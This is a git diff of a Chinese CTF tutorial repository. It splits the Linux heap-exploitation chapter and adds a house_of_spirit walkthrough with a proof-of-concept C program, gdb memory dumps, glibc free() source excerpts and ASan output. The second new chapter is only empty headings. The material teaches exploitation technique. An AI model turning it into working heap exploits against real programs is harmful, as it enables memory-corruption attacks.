diff --git a/README.md b/README.md index 1bce0da..be2837b 100644 --- a/README.md +++ b/README.md @@ -69,7 +69,8 @@ - [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) - [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) - [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - - [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) + - [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md) + - [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md) - [3.4 Web](doc/3.4_web.md) - [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) - [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) diff --git a/SUMMARY.md b/SUMMARY.md index b383b96..657b240 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -60,7 +60,8 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) * [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) * [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - * [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) + * [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md) + * [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md) * [3.4 Web](doc/3.4_web.md) * [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) * [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) diff --git a/doc/3.3.5_heap_exploit.md b/doc/3.3.5_heap_exploit_1.md similarity index 80% rename from doc/3.3.5_heap_exploit.md rename to doc/3.3.5_heap_exploit_1.md index 2f55dfe..31169c0 100644 --- a/doc/3.3.5_heap_exploit.md +++ b/doc/3.3.5_heap_exploit_1.md @@ -1,4 +1,4 @@ -# 3.3.5 堆利用 +# 3.3.5 Linux 堆利用(上) - [Linux 堆简介](#linux-堆简介) - [how2heap](#how2heap) @@ -7,14 +7,6 @@ - [fastbin_dup_into_stack](#fastbin_dup_into_stack) - [unsafe_unlink](#unsafe_unlink) - [house_of_spirit](#house_of_spirit) - - [poison_null_byte](#poison_null_byte) - - [house_of_lore](#house_of_lore) - - [overlapping_chunks](#overlapping_chunks) - - [overlapping_chunks_2](#overlapping_chunks_2) - - [house_of_force](#house_of_force) - - [unsorted_bin_attack](#unsorted_bin_attack) - - [house_of_einherjar](#house_of_einherjar) - - [house_of_orange](#house_of_orange) - [参考资料](#参考资料) @@ -206,6 +198,17 @@ Allocating 3 buffers. ``` 这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。 +libc-2.23 中对 double-free 的检查过程如下: +```c + /* Check that the top of the bin is not the record we are going to add + (i.e., double free). */ + if (__builtin_expect (old == p, 0)) + { + errstr = "double free or corruption (fasttop)"; + goto errout; + } +``` + 三个 malloc 之后: ``` gef➤ x/15gx 0x602010-0x10 @@ -475,11 +478,11 @@ int main() { // int *a[10]; // int i; // for (i = 0; i < 7; i++) { - // a[i] = malloc(0x80); - // } - // for (i = 0; i < 7; i++) { - // free(a[i]); - // } + // a[i] = malloc(0x80); + // } + // for (i = 0; i < 7; i++) { + // free(a[i]); + // } free(chunk1_ptr); char victim_string[9]; @@ -757,11 +760,11 @@ gef➤ x/40gx 0x602010-0x10 int *a[10]; int i; for (i = 0; i < 7; i++) { - a[i] = malloc(0x80); - } - for (i = 0; i < 7; i++) { - free(a[i]); - } + a[i] = malloc(0x80); + } + for (i = 0; i < 7; i++) { + free(a[i]); + } ``` ``` gef➤ p &chunk0_ptr @@ -798,22 +801,203 @@ allocated by thread T0 here: ``` #### house_of_spirit +```c +#include +#include -#### poison_null_byte +int main() { + malloc(1); -#### house_of_lore + fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n"); + unsigned long long *a, *b; + unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); -#### overlapping_chunks + fprintf(stderr, "The first one: %p\n", &fake_chunks[0]); + fprintf(stderr, "The second one: %p\n", &fake_chunks[4]); -#### overlapping_chunks_2 + fake_chunks[1] = 0x20; // the size + fake_chunks[5] = 0x1234; // nextsize -#### house_of_force + fake_chunks[2] = 0x4141414141414141LL; + fake_chunks[6] = 0x4141414141414141LL; -#### unsorted_bin_attack + fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]); + a = &fake_chunks[2]; -#### house_of_einherjar + fprintf(stderr, "Freeing the overwritten pointer.\n"); + free(a); -#### house_of_orange + fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]); + b = malloc(0x10); + fprintf(stderr, "malloc(0x10): %p\n", b); + b[0] = 0x4242424242424242LL; +} +``` +``` +$ gcc -g house_of_spirit.c +$ ./a.out +We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks. +The first one: 0x7ffc782dae00 +The second one: 0x7ffc782dae20 +Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00. +Freeing the overwritten pointer. +Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10! +malloc(0x10): 0x7ffc782dae10 +``` +house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种可以同时控制栈和堆溢出的方法。利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个被 fake chunk。所以 fake chunk 的伪造是关键。 + +首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的,需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式: +``` +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 +0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 +gef➤ x/gx &a +0x7fffffffdca0: 0x0000000000000000 +``` +伪造 chunk 时需要绕过一些检查,首先是标志位,`PREV_INUSE` 位并不影响 free 的过程,但 `IS_MMAPPED` 位和 `NON_MAIN_ARENA` 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 `2*SIZE_SZ`(即大于16),小于 `av->system_mem`(即小于128kb),才能绕过对 next chunk 大小的检查。 + +libc-2.23 中这些检查代码如下: +```c +void +__libc_free (void *mem) +{ + mstate ar_ptr; + mchunkptr p; /* chunk corresponding to mem */ + + [...] + p = mem2chunk (mem); + + if (chunk_is_mmapped (p)) /* release mmapped memory. */ + { + [...] + munmap_chunk (p); + return; + } + + ar_ptr = arena_for_chunk (p); // 获得 chunk 所属 arena 的地址 + _int_free (ar_ptr, p, 0); // 当 IS_MMAPPED 为零时调用 +} +``` +`mem` 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换: +```c +/* conversion from malloc headers to user pointers, and back */ + +#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ)) +#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) +``` +当 `NON_MAIN_ARENA` 为零时返回 main arena: +```c +/* find the heap and corresponding arena for a given ptr */ + +#define heap_for_ptr(ptr) \ + ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) +#define arena_for_chunk(ptr) \ + (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) +``` +这样,程序就顺利地进入了 `_int_free` 函数: +```c +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{ + INTERNAL_SIZE_T size; /* its size */ + mfastbinptr *fb; /* associated fastbin */ + + [...] + size = chunksize (p); + + [...] + /* + If eligible, place chunk on a fastbin so it can be found + and used quickly in malloc. + */ + + if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) + +#if TRIM_FASTBINS + /* + If TRIM_FASTBINS set, don't place chunks + bordering top into fastbins + */ + && (chunk_at_offset(p, size) != av->top) +#endif + ) { + + if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) + || __builtin_expect (chunksize (chunk_at_offset (p, size)) + >= av->system_mem, 0)) + { + [...] + errstr = "free(): invalid next size (fast)"; + goto errout; + } + + [...] + set_fastchunks(av); + unsigned int idx = fastbin_index(size); + fb = &fastbin (av, idx); + + /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ + mchunkptr old = *fb, old2; + [...] + do + { + [...] + p->fd = old2 = old; + } + while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); +``` +其中下面的宏函数用于获得 next chunk: +```c +/* Treat space at ptr + offset as a chunk */ +#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) +``` + +然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 `mem`。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中。 +``` +gef➤ x/gx &a +0x7fffffffdca0: 0x00007fffffffdcc0 +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed] +0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdcc0, size=0x20, flags=) +``` + +这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。 +``` +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk +0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0 +gef➤ x/gx &b +0x7fffffffdca8: 0x00007fffffffdcc0 +``` +所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。 + +加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk: +``` +$ gcc -fsanitize=address -g house_of_spirit.c +$ ./a.out +We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks. +The first one: 0x7fffa61d6c00 +The second one: 0x7fffa61d6c20 +Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00. +Freeing the overwritten pointer. +================================================================= +==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0 + #0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca) + #1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24 + #2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + #3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8) +``` ## 参考资料 diff --git a/doc/3.3.6_heap_exploit_2.md b/doc/3.3.6_heap_exploit_2.md new file mode 100644 index 0000000..3332749 --- /dev/null +++ b/doc/3.3.6_heap_exploit_2.md @@ -0,0 +1,30 @@ +# 3.3.6 Linux 堆利用(中) + +- [how2heap](#how2heap) + - [poison_null_byte](#poison_null_byte) + - [house_of_lore](#house_of_lore) + - [overlapping_chunks](#overlapping_chunks) + - [overlapping_chunks_2](#overlapping_chunks_2) + - [house_of_force](#house_of_force) + - [unsorted_bin_attack](#unsorted_bin_attack) + - [house_of_einherjar](#house_of_einherjar) + - [house_of_orange](#house_of_orange) + + +[下载文件](../src/Others/3.3.5_heap_exploit) + +#### poison_null_byte + +#### house_of_lore + +#### overlapping_chunks + +#### overlapping_chunks_2 + +#### house_of_force + +#### unsorted_bin_attack + +#### house_of_einherjar + +#### house_of_orange diff --git a/doc/3.3_pwn.md b/doc/3.3_pwn.md index aab53bd..99411d6 100644 --- a/doc/3.3_pwn.md +++ b/doc/3.3_pwn.md @@ -4,4 +4,5 @@ - [3.3.2 整数溢出](3.3.2_integer_overflow.md) - [3.3.3 栈溢出](3.3.3_stack_overflow.md) - [3.3.4 返回导向编程(ROP)](3.3.4_rop.md) -- [3.3.5 堆溢出](3.3.5_heap_overflow.md) +- [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md) +- [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md) diff --git a/src/Others/3.3.5_heap_exploit/house_of_spirit.c b/src/Others/3.3.5_heap_exploit/house_of_spirit.c new file mode 100644 index 0000000..5e96581 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_spirit.c @@ -0,0 +1,30 @@ +#include +#include + +int main() { + malloc(1); + + fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n"); + unsigned long long *a, *b; + unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); + + fprintf(stderr, "The first one: %p\n", &fake_chunks[0]); + fprintf(stderr, "The second one: %p\n", &fake_chunks[4]); + + fake_chunks[1] = 0x20; // the size + fake_chunks[5] = 0x1234; // nextsize + + fake_chunks[2] = 0x4141414141414141LL; + fake_chunks[6] = 0x4141414141414141LL; + + fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]); + a = &fake_chunks[2]; + + fprintf(stderr, "Freeing the overwritten pointer.\n"); + free(a); + + fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]); + b = malloc(0x10); + fprintf(stderr, "malloc(0x10): %p\n", b); + b[0] = 0x4242424242424242LL; +} diff --git a/src/Others/3.3.5_heap_exploit/unsafe_unlink.c b/src/Others/3.3.5_heap_exploit/unsafe_unlink.c index 90ffbf1..9aae0b0 100644 --- a/src/Others/3.3.5_heap_exploit/unsafe_unlink.c +++ b/src/Others/3.3.5_heap_exploit/unsafe_unlink.c @@ -30,11 +30,11 @@ int main() { // int *a[10]; // int i; // for (i = 0; i < 7; i++) { - // a[i] = malloc(0x80); - // } - // for (i = 0; i < 7; i++) { - // free(a[i]); - // } + // a[i] = malloc(0x80); + // } + // for (i = 0; i < 7; i++) { + // free(a[i]); + // } free(chunk1_ptr); char victim_string[9];